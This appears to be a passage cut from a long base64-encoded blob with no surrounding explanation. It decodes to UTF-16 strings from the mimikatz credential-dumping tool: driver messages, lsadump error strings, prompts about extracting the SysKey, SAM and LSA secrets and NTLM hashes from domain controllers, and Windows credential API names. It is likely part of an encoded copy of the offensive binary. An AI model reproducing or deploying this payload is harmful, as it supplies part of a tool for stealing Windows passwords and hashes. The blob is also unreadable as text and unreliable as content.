QBfAGYAaQBsAGUAXwBpAHMARgBpAGwAZQBFAHgAaQBzAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQQBiAHMAbwBsAHUAdABlAFAAYQB0AGgATwBmACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAEMATQBhAG4AYQBnAGUAcgAoAGMAcgBlAGEAdABlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcwB0AG8AcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcgBlAG0AbwB2AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwByAGUAbQBvAHYAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAByAGUAbQBvAHYAZQAAAAAAUAByAG8AYwBlAHMAcwAgADoAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABpAGQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABOAG8AIABQAEkARAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABQAHIAbwB0AGUAYwB0AGUAZAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACAAYgBlAGYAbwByAGUAIABXAGkAbgBkAG8AdwBzACAAVgBpAHMAdABhAAoAAAAAAGYAcgBvAG0AAAAAAHQAbwAAAAAAAAAAAFQAbwBrAGUAbgAgAGYAcgBvAG0AIABwAHIAbwBjAGUAcwBzACAAJQB1ACAAdABvACAAcAByAG8AYwBlAHMAcwAgACUAdQAKAAAAAAAAAAAAIAAqACAAZgByAG8AbQAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAFMAWQBTAFQARQBNACAAdABvAGsAZQBuAAoAAAAAAAAAIAAqACAAdABvACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAYQBsAGwAIAAnAGMAbQBkACcAIABhAG4AZAAgACcAbQBpAG0AaQBrAGEAdAB6ACcAIABwAHIAbwBjAGUAcwBzAAoAAABLAGUAcgBuAGUAbABfAEwAcwBhAF8AUABwAGwAXwBDAG8AbgBmAGkAZwAAAAAAAAB7ADcANwBmAGEAOQBhAGIAZAAtADAAMwA1ADkALQA0AGQAMwAyAC0AYgBkADYAMAAtADIAOABmADQAZQA3ADgAZgA3ADgANABiAH0AAAAAAGcAdQBpAGQAAAAAADEAAABhAHQAdAByAGkAYgB1AHQAZQBzAAAAAAAwADAAMAAwADAAMAAwADAAAAAAAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAAAAAEwAZQBuAGcAdABoACAAIAAgACAAIAA6ACAAJQB1AAoARABhAHQAYQAgACAAIAAgACAAIAAgADoAIAAAAD4AIABPAEsAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHMAeQBzAGUAbgB2AF8AcwBlAHQAIAA7ACAAUgB0AGwARwBVAEkARABGAHIAbwBtAFMAdAByAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAKQAKAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAABzAGEAbQAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEEATQAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBlAGMAcgBlAHQAcwAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEUAQwBSAEUAVABTACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAATgBMACQASwBNACAAdABoAGUAbgAgAE0AUwBDAGEAYwBoAGUAKAB2ADIAKQAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAbABzAGEAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAUwBBAE0ALwBBAEQAIABlAG4AdAByAGkAZQBzACAAKABuAG8AcgBtAGEAbAAsACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQAgAG8AcgAgAGkAbgBqAGUAYwB0ACkAAAAAAHQAcgB1AHMAdAAAAAAAAABBAHMAawAgAEwAUwBBACAAUwBlAHIAdgBlAHIAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABUAHIAdQBzAHQAIABBAHUAdABoACAASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKABuAG8AcgBtAGEAbAAgAG8AcgAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAKQAAAAAAYgBhAGMAawB1AHAAawBlAHkAcwAAAAAAcgBwAGQAYQB0AGEAAAAAAGQAYwBzAHkAbgBjAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAHkAbgBjAGgAcgBvAG4AaQB6AGUAIABhAG4AIABvAGIAagBlAGMAdAAAAG4AZQB0AHMAeQBuAGMAAAAAAAAAQQBzAGsAIABhACAARABDACAAdABvACAAcwBlAG4AZAAgAGMAdQByAHIAZQBuAHQAIABhAG4AZAAgAHAAcgBlAHYAaQBvAHUAcwAgAE4AVABMAE0AIABoAGEAcwBoACAAbwBmACAARABDAC8AUwBSAFYALwBXAEsAUwAAAGwAcwBhAGQAdQBtAHAAAABMAHMAYQBEAHUAbQBwACAAbQBvAGQAdQBsAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEEATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAUwBZAFMAVABFAE0AAAAAAFMAQQBNAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAhAAoAAAAAACAAIAAqACAAdQBzAGUAcgAgACAAIAAgACAAOgAgACUAcwAKAAAAAABuAHQAbABtAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApACAALQAgAHcAaQBsAGwAIAB1AHMAZQAgAGQAZQBmAGEAdQBsAHQAIABwAGEAcwBzAHcAbwByAGQALgAuAC4ACgAAAAAAIAAgACoAIABwAGEAcwBzAHcAbwByAGQAIAA6ACAAJQBzAAoAAAAAACAAIAAqACAAbgB0AGwAbQAgACAAIAAgACAAOgAgAAAAcwBlAGMAdQByAGkAdAB5AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBFAEMAVQBSAEkAVABZACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAEUAQwBVAFIASQBUAFkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwB1AHIAcgBlAG4AdAAAAEQAZQBmAGEAdQBsAHQAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAwAAAAUwBlAGwAZQBjAHQAAAAAACUAMAAzAHUAAAAAAEoARAAAAAAAUwBrAGUAdwAxAAAARwBCAEcAAABEAGEAdABhAAAAAAAlAHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAAOwAgAEwAUwBBACAASwBlAHkAIABDAGwAYQBzAHMAIAByAGUAYQBkACAAZQByAHIAbwByAAoAAAAAAEQAbwBtAGEAaQBuACAAOgAgAAAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAEMAbwBuAHQAcgBvAGwAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQBcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAJQBzAAoAAABTAHkAcwBLAGUAeQAgADoAIAAAAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgAEsATwAKAAAAAABWAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAEwAbwBjAGEAbAAgAFMASQBEACAAOgAgAAAAAABVAHMAZQByAHMAAABOAGEAbQBlAHMAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAVQBzAGUAcgAgADoAIAAlAC4AKgBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgBUAEwATQAAAAAATABNACAAIAAAAAAAJQBzACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAEgAYQBzAGgAIABzAGkAegBlACAAJQB1ACAAIQA9ACAAJQB1AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAVQBuAGsAbgBvAHcAIABTAEEATQBfAEgAQQBTAEgAIAByAGUAdgBpAHMAaQBvAG4AIAAoACUAaAB1ACkAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAKAFMAQQBNAEsAZQB5ACAAOgAgAAAAAABGAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAASwBPAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAVQBuAGsAbgBvAHcAIABDAGwAYQBzAHMAaQBjACAAUwB0AHIAdQBjAHQAIABLAGUAeQAgAHIAZQB2AGkAcwBpAG8AbgAgACgAJQB1ACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABVAG4AawBuAG8AdwAgAFMAdAByAHUAYwB0ACAASwBlAHkAIAByAGUAdgBpAHMAaQBvAG4AIAAoACUAdQApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAVQBuAGsAbgBvAHcAIABGACAAcgBlAHYAaQBzAGkAbwBuACAAKAAlAGgAdQApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBPAHAAZQBuAEEAbgBkAFEAdQBlAHIAeQBXAGkAdABoAEEAbABsAG8AYwAgAEsATwAAAFAAbwBsAF8AXwBEAG0ATgAAAAAAUABvAGwAXwBfAEQAbQBTAAAAAAAlAHMAIABuAGEAbQBlACAAOgAgAAAAAAAgACgAIAAAACAAKQAAAAAAUABvAGwAaQBjAHkAAAAAAEwAbwBjAGEAbAAAAEEAYwAAAAAAUAByAAAAAABQAG8AbABEAG4ARABEAE4AAAAAAEQAbwBtAGEAaQBuACAARgBRAEQATgAgADoAIAAlAHcAWgAKAAAAAABQAG8AbABSAGUAdgBpAHMAaQBvAG4AAAAAAAAACgBQAG8AbABpAGMAeQAgAHMAdQBiAHMAeQBzAHQAZQBtACAAaQBzACAAOgAgACUAaAB1AC4AJQBoAHUACgAAAFAAbwBsAEUASwBMAGkAcwB0AAAAUABvAGwAUwBlAGMAcgBlAHQARQBuAGMAcgB5AHAAdABpAG8AbgBLAGUAeQAAAAAATABTAEEAIABLAGUAeQAoAHMAKQAgADoAIAAlAHUALAAgAGQAZQBmAGEAdQBsAHQAIAAAACAAIABbACUAMAAyAHUAXQAgAAAAIAAAAEwAUwBBACAASwBlAHkAIAA6ACAAAAAAAFMAZQBjAHIAZQB0AHMAAABzAGUAcgB2AGkAYwBlAHMAAAAAAAoAUwBlAGMAcgBlAHQAIAAgADoAIAAlAHMAAABfAFMAQwBfAAAAAABDAHUAcgByAFYAYQBsAAAACgBjAHUAcgAvAAAATwBsAGQAVgBhAGwAAAAAAAoAbwBsAGQALwAAAFMAZQBjAHIAZQB0AHMAXABOAEwAJABLAE0AXABDAHUAcgByAFYAYQBsAAAAQwBhAGMAaABlAAAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0AAAAKgAgAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAgAGkAcwAgACUAdQAsACAAJQB1ACAAcgBlAGEAbAAgAGkAdABlAHIAYQB0AGkAbwBuACgAcwApAAoAAAAAACoAIABEAEMAQwAxACAAbQBvAGQAZQAgACEACgAAAAAAAAAAACoAIABJAHQAZQByAGEAdABpAG8AbgAgAGkAcwAgAHMAZQB0ACAAdABvACAAZABlAGYAYQB1AGwAdAAgACgAMQAwADIANAAwACkACgAAAAAATgBMACQAQwBvAG4AdAByAG8AbAAAAAAACgBbACUAcwAgAC0AIAAAAF0ACgBSAEkARAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAPgAgAFUAcwBlAHIAIABjAGEAYwBoAGUAIAByAGUAcABsAGEAYwBlACAAbQBvAGQAZQAgACgAMgApACEACgAAACAAIABNAHMAQwBhAGMAaABlAFYAMgAgADoAIAAAAAAAIAAgAEMAaABlAGMAawBzAHUAbQAgACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFMAZQB0AFYAYQBsAHUAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAoADEAKQAhAAoAAAAgACAATQBzAEMAYQBjAGgAZQBWADEAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAgADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAbQBhAGMAIAAoADAAeAAlADAAOAB4ACkACgAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUALgAqAHMAXAAlAC4AKgBzAAoAAAAAAE0AcwBDAGEAYwBoAGUAVgAlAGMAIAA6ACAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQAuACoAcwAAAAAAdABlAHgAdAA6ACAAJQB3AFoAAABoAGUAeAAgADoAIAAAAAAAJABNAEEAQwBIAEkATgBFAC4AQQBDAEMAAAAAAAoAIAAgACAAIABOAFQATABNADoAAAAAAAoAIAAgACAAIABTAEgAQQAxADoAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAAAAAAKACAAIAAgACAAZgB1AGwAbAA6ACAAAAAKACAAIAAgACAAbQAvAHUAIAA6ACAAAAAgAC8AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AFMAZQB0AEsAZQB5AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABzAGEAbQBzAHIAdgAuAGQAbABsAAAAAABsAHMAYQBzAHIAdgAuAGQAbABsAAAAAABuAHQAZABsAGwALgBkAGwAbAAAAGsAZQByAG4AZQBsADMAMgAuAGQAbABsAAAAAABTYW1JQ29ubmVjdABTYW1yQ2xvc2VIYW5kbGUAU2FtSVJldHJpZXZlUHJpbWFyeUNyZWRlbnRpYWxzAABTYW1yT3BlbkRvbWFpbgAAU2Ftck9wZW5Vc2VyAAAAAFNhbXJRdWVyeUluZm9ybWF0aW9uVXNlcgAAAABTYW1JRnJlZV9TQU1QUl9VU0VSX0lORk9fQlVGRkVSAExzYUlRdWVyeUluZm9ybWF0aW9uUG9saWN5VHJ1c3RlZAAAAExzYUlGcmVlX0xTQVBSX1BPTElDWV9JTkZPUk1BVElPTgAAAFZpcnR1YWxBbGxvYwAAAABtZW1jcHkAAHAAYQB0AGMAaAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGkAbgBqAGUAYwB0AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAlAHcAWgAgAC8AIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAAgACUAMAA4AHgACgAAAFMAYQBtAFMAcwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkA